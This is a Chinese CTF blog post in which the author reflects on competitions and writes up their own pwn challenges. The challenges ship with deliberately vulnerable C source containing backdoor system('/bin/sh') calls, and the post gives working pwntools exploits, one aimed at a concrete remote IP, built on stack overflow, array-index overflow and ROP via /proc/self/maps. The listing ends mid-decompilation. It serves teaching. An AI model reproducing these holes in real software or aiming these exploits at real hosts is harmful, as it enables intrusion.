0%

​ 上一个星期去了强网拟态和网鼎杯的线下赛,总计参与做出了3道pwn题。强网拟态的强度是让人一直在打并且沉浸在里面的,网鼎杯只有4小时ctf时间说实话对我来说是真的太短了,我出的这3道pwn题跟平时的堆题不一样,这三道堆题让我得到了更广阔的视野和更有用的shellcode编写能力,简单来说就是对我的影响很大,这里就来简单分析一下一路上做题的心得和感受。

QWNT

​ 如果要我选择这两个比赛谁带给我的影响最大?那么我将毫不犹豫地选择强网拟态,强网拟态ctf上了三波题,我只看pwn,但是我菜,题目看上去很难,其实一点也不简单。

​ 不过这里并不急着聊聊CTF,而是聊聊qwnt的iot/车联网和无人机固件,本来以为就是简单的用firmware之类的固件分析软件分析,找到一个vuln相关的ELF文件,但是呢实际上并不是这样的。在qwnt的前几天的突击学习也让我学到了很多车联网安全的系统理论,虽然比赛题目一个都不会(也不能这么说,有一些场景题目,其系统崩溃就有分,只不过我们不是很懂要做什么而搞崩溃的,其实不是很有含金量),但是这一两天的学习速度相当的可怕,对车的理解也是比较清晰了。固件分析其实可以先问问AI这个固件后缀怎么分析,另一个就是搜相关产品的固件分析的方法,有一些人已经分析过了会提前写在blog上面。这里就简单说下.fw.sig,一开始想用开源的解密软件去解密sig文件,但是没有秘钥,其实怎么解密都是失败。偶然间看了别人blog,其实可以改后缀自己解压缩,就会提取出来一个bin文件,然后分析固件即可(但是我后面遇到了很大的问题,就是一个1g的bin提取了超过40G的二进制文件,我并不知道这是正常的还是非正常的。)

​ qwnt其他部分基本上就聊完了,真没做什么,因为真不会做,后来问了圈圈,发现圈圈也是这么想的,那我就放心了img。那么就来聊聊我们最熟悉的pwn吧。

jemalloc浅谈

​ 第一道放的是一道jemalloc,当时我们是大概三四个小时找不到漏洞,后来跟圈圈聊,圈圈直接说他一眼丁真就看出来了,我当时想上去就是一拳img。这并不是常规的堆分配器,而是新遇到的jemalloc,它的堆分配方式和内核真的非常相像,都有slab的概念,其实简单调一调不难理解其的堆分配过程。

​ 以我的话来概括,有一个地方存着各个大小freelist,一个地方存放着相同大小的object指针以供后来分配或者释放使用,再有一个地方就是我们的chunk了/object了,其是由一个slab切割相同大小得到的小块。

​ 漏洞不仔细看真不好看出来,之前确实没有想过这方面的问题,关注到case4和case6的free函数,其对指针的解析并不相同,如果你进一步fuzz,程序就会发生崩溃。

img

​ 问题就出在这里。解决了这个,后面就很简单了,就是覆写堆指针和func指针,还有泄露libc地址之类的。

heap_legend浅谈

堆风水杂谈

​ 说到这道题,就不得不艾特一下圈圈img了,tql,如果他亲手来做应该是很快秒了拿一血。但是他们当时去看kernel了(OTZ,kernel还是二血)。这道题的限制可能相对没有那么多,因为存在EAF,但是不能泄露使得这道题必定走上难题的道路。

​ 那么这道题就首先面临两个问题:“要爆破,还是要泄露?”。好的,其实两个都要,那我们要确定如何去leak?这里就涉及IO_leak stdout了,但是在2.39攻击stdout并不容易。

​ 因为我们一开始并不能拿到堆地址,而且如果使用house of rust等无需leak的方法,实际上会受到tcache的加密和unsorted 双链检查的限制。

​ 不过我们再次确定思路,如果我们一定要IOLeak,就必须要分配到libc的地址,什么bin中的chunk可以帮助我们达到这个目的呢?那必须是tcache,如果风水构造妥当,它必然是可以任意分配造成任意写的最佳答案。那么就有另一个问题出来了,就是如何利用tcache去分配libc地址的chunk。我们现在不能够泄露堆地址和libc地址,只有一个EAF,能够打largebin attack,只有tcache加解密的部分秘钥。其实让tcache分配到libc上最简单的方法就是让tcache_struct上面能够写有libc地址,如何做到呢?不急,我们先来总结我们能够做什么?

​ 基于上述条件largebin attack只能够堆地址范围内写一个堆地址,largebin可以帮助我们伪造双链,unsorted bin和small bin都有libc地址,同时双链比largebin更好伪造。那么这有一个思路就是基于unsorted bin和small bin在tcache_struct上伪造双链,这样一来就能够在在tcache_struct上面能够写有libc地址(当时就是这么想的,只不过真的没想到要怎么做)。

img

​ 如果要伪造双链,就得在它上面写两个堆地址,其实这正是largebin attack能做到的,但是我一开始尝试没有漏洞的堆风水去做,结果是并不太如意,就差一点点,不知道能不能够实现。写上libc地址之后,或者说tcache_struct染上libc之后,首先要考虑的就是如何去改写上面的libc地址。这表明我们要通过双链检测机制和unsorted bin分配机制,把chunk分配在tcache_struct上面,这一步就得去用house of water手法了,这里由于不是我做的前半部分,我就不做解析,就选择和你们一起学习去了。

​ 至此对于heap_legend的攻击思路明确,就很简单了,当然后面还有io_uring。我后面简单说一说编写经验吧。

​ 这题因为EAF的漏洞,其实我们堆的能力还是很强,这里还有第二种思路去打IO_leak。

​ 首先其实一个关键性的问题就是我们如何能够控制tcache_struct,第二个就是如何写上libc地址。我们如果先思考第一个问题,再思考我们能够打largebin attack写一个堆地址。其实也不难想到可以用largebin attack部分地位写tcache_struct上的指针。如果我们恰好第一个分配的chunk(也就是紧紧跟在tcache_struct后面的chunk)能够被覆盖,那么我们就能够控制tcache_struct的后半部分,紧跟着再写一个堆地址,再通过控制的chunk去改写,就存在可能控制整一个tcache_struct。之后也是简单的伪造双链,让tcache_struct上染上libc地址。

​ 至此第二种思路结束。

​ 对比:第一种思路利用unsorted bin两次分配通过unsorted bin拿到了unsorted chunk在tcache_struct上面。第二种思路只利用了一次unsorted bin一次分配让tcache_struct上染上libc地址。这里我就不说多了,你细品,如果品出来了,这道题绝对能给巨大的收获。

io_uring编写杂谈

​ 这道题的后半部分由我来完成:那就是io_uring的编写,以前懒得学的,还是要补回来的,┭┮﹏┭┮,也是边吃边玩边写,最后wdb的前一个晚上一鼓作气两点半写完shellcode,打通远程。

​ 这道题目ban了所有的open函数,这就必须要用到最极端的io_uring了,如何去编写io_uring的orw版本必然是shellcode学习者很难解决的一个大问题。

​ 我们这里简单说一下编写思路(用musl和glibc编译都行,看你选择用什么),具体shellcode真要学习,非常建议根据下面步骤具体写一遍。

​ 首先肯定先用c去写一遍,要用liburing库区简化整一个过程,最好只是实现一个open操作;第二就是编译出一个静态文件,拖进IDA里面去分析;第三,根据ACTF已经存在的wp,其中的io_uring shellcode其实只是完成了关键部分(比如初始化uring结构体),并且可能存在汇编代码偏差,你需要根据这些部分去完善你的orw操作(根据IDA去copy,让AI改写语法格式等)。第四,就是在简单编写的shellcode题上测试,看到底卡在哪里了,是初始化分配错误吗?还是地址分配的有问题?

​ 走完上面这四步,恭喜你,成功学会了io_uring的编写!

​ pwntools貌似有把ELF文件解析成shellcode代码的函数?这个听圈圈了解,不过我们两个都不熟悉,还是尝试手搓+copy。

wdb浅谈

​ wdb4小时的ctf pwn我只能出一题(当时就是想能出就是win),card_master。我出的时候是七解,此时距离ctf比赛结束还有一个半小时。非CTF方向的我是一点不会,web和渗透方面我也只是会简单的用用扫描工具罢了。。。

CardMaster

​ 本题libc版本2.27,Ubuntu GLIBC 2.27-3ubuntu1,老版本的2.27tcache是可以直接double free的。

​ 根据纸牌来分配堆,纸牌的花色数量和每个花色拥有的纸牌数量由你来指定。存储纸牌的信息堆块和还有花色的堆块指针的集合堆指针都在一个大堆上管理。并且有func函数指针,那么只要我们劫持func,就可以打通本题。

​ 如果你能够fuzz出来,或者能够看出来,其实这道题是存在非常好用的double free的,让我没想到的是,这道题竟然让圈圈苦苦盯了四个小时img(因为找洞的事情,那个free函数看起来太正常了,按照平常来说应该是没有问题的,但是这是libc2.27老版本)。不过后面其实测出了double free,或者看出具体有什么问题,发现之后也是很快就秒了。

总结

​ 这三天打的挺累的,因为自己确实菜,水平有限,很多不会的题目,上面解出来的题目对于我来说都是相对不那么容易的。时间过得真快,转眼过去已经大三上快结束了,回想过去,那个沉迷于pwn的少年还在图书馆苦苦研究准备新生赛ret2libc的记忆并不久远,但时间就是白驹过隙,如大江一般奔流而不复回。个人的进步遇到的阻碍却依然是以前一样的挑战,不禁让人感慨,这两年半,我到底改变了什么,我很难说出来。我选择考研,是为了更好的学习安全的知识,这确实是我热爱的,但是为什么我的热爱无法击败我面对的阻碍呢?答案或许很重要,但是眼下更重要的是,明白怎么去做。时间不等人,平生心力为何尽?一事无成空相守。剩下的时间,做自己喜欢的事情就好。

​ 我很喜欢《揪心的玩笑和漫长的白日梦》的一句词:“就在一瞬间,握紧我矛盾密布的手”,喜欢的原因可能是很有感触吧。

这次出了三道题(一道新生专属难度,两道中等难度)

这次没有出困难题,但是中等题其实也足够困难了。

结合其他师傅的出题,感觉上比较缺少过渡的出题,造成现象旱的旱死,涝的涝死(qy师傅出的不错,也很有意思)

【新生专属】c_master

:::info
题目描述

请使用简单的C语句对程序进行getshell吧!

:::

下面是题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>

void init();
void init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
return;
}
void backdoor();
void backdoor()
{
system("/bin/sh");
}

int main()
{
init();
char base[8];
int baseidx=0;
char* string=malloc(1024);
memset(string,0,1024);

puts("Try to write a C getshell program with my code!");
puts("read(0,base,0x8);");
puts("write(1,base,0x8);");
puts("base+=8;");
puts("base-=8;");
puts("return 0;");
while(1){
puts(">>>");
scanf("%128s",string);

if(!strcmp(string,"read(0,base,0x8);")){
puts("input:");
read(0,&base[baseidx],0x8);
}
else if(!strcmp(string,"write(1,base,0x8);")){
puts("output:");
write(1,&base[baseidx],0x8);
}
else if(!strcmp(string,"base+=8;")){
baseidx+=8;
}
else if(!strcmp(string,"base-=8;")){
baseidx-=8;
}
else if(strcmp(string,"return 0;")){
break;
}
else{
puts("No such code...");
}
}
return 0;
}
//gcc xxx.c -no-pie -o xxx

0x1 逆向分析

checksec查看,没开pie保护,elf地址对我们是透明的。

拖进IDA分析,看看main函数干了什么?

首先申请了一个0x400的堆块,然后scanf读取输入写到堆上。

然后调用strcmp比较输入的字符串和目标字符串。

如代码所示,read和write都是针对(base~base+0x7)这一块内存进行读写操作。

所以我们得看看base在哪里,这里的base就是我们的v6[v4]

注意到base+=8是 v4+=8,v4是索引

v6就是base,索引没做限制,这就是数组溢出。

base到ret的距离是v10到return_address的距离 也就是0x10+0x8=0x18,所以只需要让v4移动三次。

栈底是高地址,所以我们得让v4+=8进行三次操作;

此处我们直接覆盖ret返回地址,只要不对canary进行改写,就不会触发canary保护。

如果直接返回backdoor函数有栈平衡问题

只需要跳过push rbp指令即可

0x2 思路总结

通过数组溢出,覆盖ret为backdoor地址(0x4012BB ),但是有栈平衡问题,需要跳过一个push指令,所以覆盖为0x4012C0。

0x3 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(log_level="debug")
#p=process("./c_master")
p=remote("43.248.97.213",30219)#019843.248.97.213:
system=0x4012c0
p.sendline("base+=8;")
p.sendline("base+=8;")
p.sendline("base+=8;")
p.sendline("write(1,base,0x8);")
p.sendline("read(0,base,0x8);")
#gdb.attach(p)
p.send(p64(system))
p.sendline("return 0;")

p.interactive()

Wahahabox

题目描述:

0X1 逆向分析

check一下二进制程序,发现没开canary,但是开了pie。

拖进IDA进行逆向

main函数如下

1
2
3
4
5
6
7
8
9
10
11
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("If you want to open the box, what do you want to say to Wahaha?");
__isoc99_scanf("%31s", buf);
gift(buf);
puts("Try to open");
read(0, buf, 0x40uLL);
return 0;
}

我们先计算buf到ret的距离,计算得0x20+0x8

所以第一个scanf(“%31s”);我们是无法覆盖ret的,第二个read(0,bu,0x40);能够覆盖ret,但是只能构造一个p64(pop_rdi )+p64 (数据) + p64(返回地址)的ROP链。

然后跟进gift函数,看看能给什么信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ssize_t __fastcall gift(const char *a1)
{
_BYTE s[2060]; // [rsp+10h] [rbp-810h] BYREF
int fd; // [rsp+81Ch] [rbp-4h]

if ( strstr(a1, "flag") )
{
puts("It's a secret :)");
exit(-1);
}
fd = open(a1, 0);
if ( fd < 0 )
{
puts("Open box fail :(");
exit(-1);
}
puts("Wahaha left you the keys");
memset(s, 0, 0x800uLL);
read(fd, s, 0x800uLL);
return write(1, s, 0x800uLL);
}

这里open会根据我们字符串去打开一个文件(第二个参数决定以只读形式打开),而且如果我们字符串中有flag这个子字符串(可以去查找strstr函数的功能)就会退出程序。

然后给了很大的栈空间,来读取文件的内容并输出。

其实看到这里了解相关知识点的人就能想到利用/proc/self/maps这个文件去泄露 程序相关的映射地址了。

放出tips:/proc下的文件很有用

其实非常有必要去学习一下这个文件夹。web和pwn其实都有用。

在本地执行,open打开/proc/self/maps终端输出如下,这里要接收libc.so的地址,这里以接收 b’55edda100000-55edda121000 rw-p 00000000 00:00 0 [heap]\n’中的子字符串

“[heap]\n”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    b'55edd95bc000-55edd95bd000 r--p 00000000 08:03 1835165                    /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95bd000-55edd95be000 r-xp 00001000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95be000-55edd95bf000 r--p 00002000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95bf000-55edd95c0000 r--p 00002000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edd95c0000-55edd95c1000 rw-p 00003000 08:03 1835165 /home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/wahahabox\n'
b'55edda100000-55edda121000 rw-p 00000000 00:00 0 [heap]\n'
b'768d30600000-768d30628000 r--p 00000000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30628000-768d307bd000 r-xp 00028000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d307bd000-768d30815000 r--p 001bd000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30815000-768d30816000 ---p 00215000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d30816000-768d3081a000 r--p 00215000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d3081a000-768d3081c000 rw-p 00219000 08:03 919725 /usr/lib/x86_64-linux-gnu/libc.so.6\n'
b'768d3081c000-768d30829000 rw-p 00000000 00:00 0 \n'
b'768d309c5000-768d309c8000 rw-p 00000000 00:00 0 \n'
b'768d309dc000-768d309de000 rw-p 00000000 00:00 0 \n'
b'768d309de000-768d309e0000 r--p 00000000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d309e0000-768d30a0a000 r-xp 00002000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a0a000-768d30a15000 r--p 0002c000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a16000-768d30a18000 r--p 00037000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2\n'
b'768d30a18000-768d30a1a000 rTry to open\n'
/home/qwq/ctf/ctf2024/2024xsctf/origin/wahahabox/m.py:8: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
p.recvuntil("rw-p 00000000 00:00 0 \n")
[*] Switching to interactive mode
768d309c5000-768d309c8000 rw-p 00000000 00:00 0
768d309dc000-768d309de000 rw-p 00000000 00:00 0
768d309de000-768d309e0000 r--p 00000000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d309e0000-768d30a0a000 r-xp 00002000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a0a000-768d30a15000 r--p 0002c000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a16000-768d30a18000 r--p 00037000 08:03 918161 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
768d30a18000-768d30a1a000 rTry to open

不同glibc可能内存分布略有区别,这里用的是2.35的3.8

有了libc地址之后(也可以获得elf地址,stack地址)。就直接栈溢出打system(“/bin/sh”)就行,如果遇到栈平衡问题,此时请把libc中的system地址+27,这样可以直接调用更底层函数do_system。

当然也有其他getshell方法或者ORW。

0X2 思路总结

scanf的输入,要输入/proc/self/maps去泄露libc地址,然后栈溢出当普通ret2libc来做就可以了。

0x3 exp

getshell发现实在根目录,flag在/home/ctf目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level="debug")
p=process('./wahahabox')
#p=remote("43.248.97.213",30057)
gdb.attach(p,"b *$rebase(0x129a)")
p.sendline("/proc/self/maps")#./flag
#p.recvuntil("rw-p 00000000 00:00 0")
p.recvuntil("[heap]\n")
#p.recvuntil("rw-p 00000000 00:00 0 \n")

libc_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("libc_addr",hex(libc_addr))
libcbase=libc_addr
system=libcbase+0x50d70+27
bin_sh=libcbase+ 0x1d8678
pop_rdi=libcbase+0x2a3e5
payload=b'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(system)
print("libc_addr",hex(libc_addr))
p.send(payload)
""""""
p.interactive()

Pokemon_master

:::info
宝可梦大师!
你是纪南镇的一名宝可梦新手,你已经达到了可以外出探险的年纪,请外出探险,成为伟大的冒险家吧!传闻外面有很强大的神兽,击败它会获得神器。

TIPS:

1.商店卖的防御剂有惊喜

2.负数溢出

3.选速度最快的精灵

4.貌似有一个hook?

5.覆水亦可收,free掉的堆块还能申请回来

6.申请回特殊堆块可改写hook

:::

源码太长了,单独一桌

基本原理不难,但是逆向难度对于新生来说是有点挑战性的(无论是代码量还是结构体逆向),花点时间知道原理还是能做出来的,更何况放了那么多tips。

游戏题:数组溢出、整数溢出比较多

0x0 源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
#define MAXMAX 9999
#define MINMIN 1

struct pokemon{
char name[16];
unsigned int hp;
unsigned int attack;
unsigned int speed;
unsigned int defence;
};

void init();
void Start_choose(struct pokemon** mypoke);
void Start_print();
void Mainmenu();
void Outmenu();
void Skillmenu();
void Out(struct pokemon** mypoke);
void Store(struct pokemon** mypoke);
void Status(struct pokemon** mypoke);
void Pokemon_name(struct pokemon** mypoke,char* str);
void Pokemon_print(struct pokemon** mypoke);
int Fight(struct pokemon** mypoke,struct pokemon* emerypoke);
int money=0;
int change=0;

size_t *ex1t;


//函数指针 堆
int main()
{
init();
Start_print();

int choice;
char say[32];
struct pokemon* mypoke;
Start_choose(&mypoke);
puts("You open the Starter Pack and get a hundred coins");
money+=100;
printf("gift:%p\n",&puts);
while(1)
{
whilestart:
if(money <0){
puts("No money, you out:(");
break;
}
Mainmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
Store(&mypoke); //STORE
break;
case 2: //OUT
Out(&mypoke);
break;
case 3: //STATUS
Status(&mypoke);
break;
case 4:
/* code */
puts("\nWhat you want to say?");
gets(say);
(*(void(*)(char*))ex1t[0])(say);
break;
case 666:
puts("Why does technology make Pokémon?");
struct pokemon* test;
test=(struct pokemon*)malloc(sizeof(struct pokemon));
read(0,&test->name[0],0x10);
test->hp=1;
test->speed=1;
test->attack=1;
test->defence=1;
puts("It's so weak...");
break;
default:
goto whilestart;
break;
}

//收集数据
//数据处理
//绘制图像
}
return 0;
}

void Outmenu()
{
puts("You walked into the Divine Beast Forest, hoping to meet the Divine Beast QWQ...");
puts("There are two roads in front of you, choose the one on the left or the one on the right.");
puts("1.left");
puts("2.right");
printf(">>>");
}
void Out(struct pokemon** mypoke)
{
int choice=0;
Outmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
struct pokemon *QWQ;
puts("You're very lucky, it's the Divine Beast QWQ that roars in front of you, let's grab it and knock it out first!");
puts("QWQ: qwq~ qwq~ qwq~ qwq~ qwq~ qwq~");
QWQ=(struct pokemon*)malloc(sizeof(struct pokemon));
QWQ->hp=MAXMAX;
QWQ->speed=15;
QWQ->defence=MAXMAX;
QWQ->attack=MAXMAX;
Pokemon_name(&QWQ,"QWQ");
if(Fight(mypoke,QWQ)){
puts("The soul of the mythical beast flew away...");
free(ex1t);
}else{
puts("Loser...");
}
free(QWQ);
break;
default:
struct pokemon *TAT;
puts("You haven't encountered a beast, but you've encountered a TAT that guards the treasure, so try to stun it for some loot");
puts("TAT: WTF!");
TAT=(struct pokemon*)malloc(sizeof(struct pokemon));
TAT->hp=MINMIN;
TAT->speed=15;
TAT->defence=MINMIN;
TAT->attack=MINMIN;
Pokemon_name(&TAT,"TAT");
if(Fight(mypoke,TAT)){
puts("Your earn some money~");
money+=200;
}else{
puts("Loser...");
}
free(TAT);
break;

}
}
void Skillmenu()
{
puts("When the battle begins, choose the skill you want to use");
puts("1.Attack 2.Defence");
puts("3.Escape 4.Surrender");
printf(">>>");
}

int Fight(struct pokemon** mypoke,struct pokemon* emerypoke)
{
int myspeed = (*mypoke)->speed;
int emspeed = emerypoke->speed;
int myhp=(*mypoke)->hp;
int emhp=emerypoke->hp;
int faster=0;
while (1)
{
int choice=0;
Skillmenu();
scanf("%d",&choice);
switch (choice)
{
case 1:
//速度计算
if(myspeed>emspeed){//我方速度比较快
myspeed -= emerypoke->speed;
faster=1;
}else{
emspeed -= (*mypoke)->speed;
faster=0;
}
//攻击防御计算 //血量计算
if(faster){
emhp = emhp - (((*mypoke)->attack/2)-(emerypoke->defence/3));
}else{
myhp = myhp - ((emerypoke->attack/2)-((*mypoke)->defence/3));
}
myspeed+=(*mypoke)->speed;
emspeed+=emerypoke->speed;

if(myhp <= 0){
puts("Game Over :(");
return 0;
}
else if(emhp <= 0){
puts("Congratulations! You win!");
return 1;
}
break;

case 2:
if(emerypoke->attack > (*mypoke)->defence){
puts("Even if you defend, the other party still kills you in seconds");
return 0;
}else{
puts("The defense succeeded, but nothing happened");
}
break;

case 3:
if(emerypoke->speed > (*mypoke)->speed){
puts("You're not fast enough to escape the fight");
return 0;
}else{
puts("Escape!");
return 0;
}
break;

case 4:
return 0;
break;

default:
break;
}

}

}

void Store(struct pokemon** mypoke)
{
int choice=0;
store_again:
puts("I'm a merchant from GuanDu city, what do you want to buy?");
puts("1.Attack agents");
puts("2.Defensive agents");
puts("3.Poké Ball");
puts("4.EXIT");
printf(">>>");
scanf("%d",&choice);
switch (choice)
{
case 1:
money-=75;
(*mypoke)->attack+=10;
(*mypoke)->defence-=10;
break;
case 2:
money-=75;
(*mypoke)->attack-=10;
(*mypoke)->defence+=10;
break;
case 3:
money-=75;
puts("Are you sure this is not a name change card?");
char* newname=malloc(15);
change++;
//scanf("%15s",newname);
//Pokemon_name(mypoke,newname);
break;
case 4:
break;
default:
goto store_again;
break;
}
puts("You say: f**king Black-hearted businessman");
}
void Status(struct pokemon** mypoke)
{
printf("Your money: %d\n",money);
puts("The status of your Pokémon is as follows");
Pokemon_print(mypoke);
puts("Over~");
return ;
}
void Pokemon_print(struct pokemon** mypoke)
{
printf("Pokemon name:%s\n",&(*mypoke)->name[0]);
printf("Hp:%u\n",(*mypoke)->hp);
printf("AT:%u\n",(*mypoke)->attack);
printf("DE:%u\n",(*mypoke)->defence);
printf("SP:%u\n",(*mypoke)->speed);
return;
}

void Pokemon_name(struct pokemon** mypoke,char* str)
{
for(int i=0;i<15;i++)
{
(*mypoke)->name[i]=str[i];
}
}
void Start_choose(struct pokemon** mypoke)
{
int choice=0;
Start_choose_again:
puts("Please choose a pokemon to follow you");
puts("1.Pika!");
puts("2.Little Fire Dragon!");
puts("3.Wonderful frog seeds!");
puts("4.Jenny Turtle!");
printf(">>>");
scanf("%d",&choice);
switch (choice)
{
case 1:
*mypoke = (struct pokemon*)malloc(sizeof(struct pokemon));
(*mypoke)->hp=21;
(*mypoke)->speed=16;
(*mypoke)->defence=8;
(*mypoke)->attack=14;
Pokemon_name(mypoke,"Pikapi");
break;
case 2:
*mypoke = (struct pokemon*)malloc(sizeof(struct pokemon));
(*mypoke)->hp=25;
(*mypoke)->speed=12;
(*mypoke)->defence=14;
(*mypoke)->attack=14;
Pokemon_name(mypoke,"Charmander");
break;
case 3:
*mypoke = (struct pokemon*)malloc(sizeof(struct pokemon));
(*mypoke)->hp=31;
(*mypoke)->speed=10;
(*mypoke)->defence=11;
(*mypoke)->attack=10;
Pokemon_name(mypoke,"Bulbasaur");
break;
case 4:
*mypoke = (struct pokemon*)malloc(sizeof(struct pokemon));
(*mypoke)->hp=28;
(*mypoke)->speed=9;
(*mypoke)->defence=20;
(*mypoke)->attack=9;
Pokemon_name(mypoke,"Squirtle");
break;

default:
goto Start_choose_again;
break;
}

}

void Mainmenu()
{
puts("1.Store");
puts("2.Out");
puts("3.Status");
puts("4.exit_the_world");
printf(">>>");
}

void init()
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
ex1t=(size_t*)malloc(sizeof(struct pokemon));
size_t temp=&exit;
memcpy(ex1t,&temp,8);
return;

}


void Start_print()
{
puts(",-.----. ____ ");
puts("\\ / \\ ,-. ,' , `. ");
puts("| : \\ ,--/ /| ,-+-,.' _ | ");
puts("| | .\\ : ,---. ,--. :/ | ,-+-. ; , || ,---. ,---, ");
puts(". : |: | ' ,'\\ : : ' / ,--.'|' | ;| ' ,'\\ ,-+-. / | ");
puts("| | \\ : / / || ' / ,---. | | ,', | ': / / | ,--.'|' | ");
puts("| : . /. ; ,. :' | : / \\ | | / | | ||. ; ,. :| | ,\"' | ");
puts("; | |`-' ' | |: :| | \\ / / |' | : | : |,' | |: :| | / | | ");
puts("| | ; ' | .; :' : |. \\ . ' / |; . | ; |--' ' | .; :| | | | | ");
puts(": ' | | : || | ' \\ \' ; /|| : | | , | : || | | |/ ");
puts(": : : \\ \\ / ' : |--' ' | / || : ' |/ \\ \\ / | | |--' ");
puts("| | : `----' ; |,' | : |; | |`-' `----' | |/ ");
puts("`---'.| '--' \\ \\ / | ;/ '---' ");
puts(" `---` `----' '---' ");
puts("Welcome to my Pokémon World, where you are now in the small town of Kinan, where people and elves get along in harmony! Hey! Your dream is to collect the world's most famous mythical QWQ, come on adventurers, and embark on your adventure!");

}

0x1 逆向

checksec查看保护,全保护,将就着看吧。

拖进ida分析,此时要先看init函数,因为里面可能藏了点东西,ex1t是一个指针,分配了一个chunk给它。

然后给堆上内存赋值exit的地址。

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 init()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
ex1t = malloc(0x20uLL);
*(_QWORD *)ex1t = &exit;
return v1 - __readfsqword(0x28u);
}

来到main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-44h] BYREF
_BYTE v5[8]; // [rsp+10h] [rbp-40h] BYREF
void *buf; // [rsp+18h] [rbp-38h]
_BYTE v7[40]; // [rsp+20h] [rbp-30h] BYREF
unsigned __int64 v8; // [rsp+48h] [rbp-8h]

v8 = __readfsqword(0x28u);
init(argc, argv, envp);
Start_print();
Start_choose(v5);
puts("You open the Starter Pack and get a hundred coins");
money += 100;
printf("gift:%p\n", &puts);
while ( money >= 0 )
{
Mainmenu();
__isoc99_scanf("%d", &v4);
if ( v4 == 666 )
{
puts(aWhyDoesTechnol);
buf = malloc(0x20uLL);
read(0, buf, 0x10uLL);
*((_DWORD *)buf + 4) = 1;
*((_DWORD *)buf + 6) = 1;
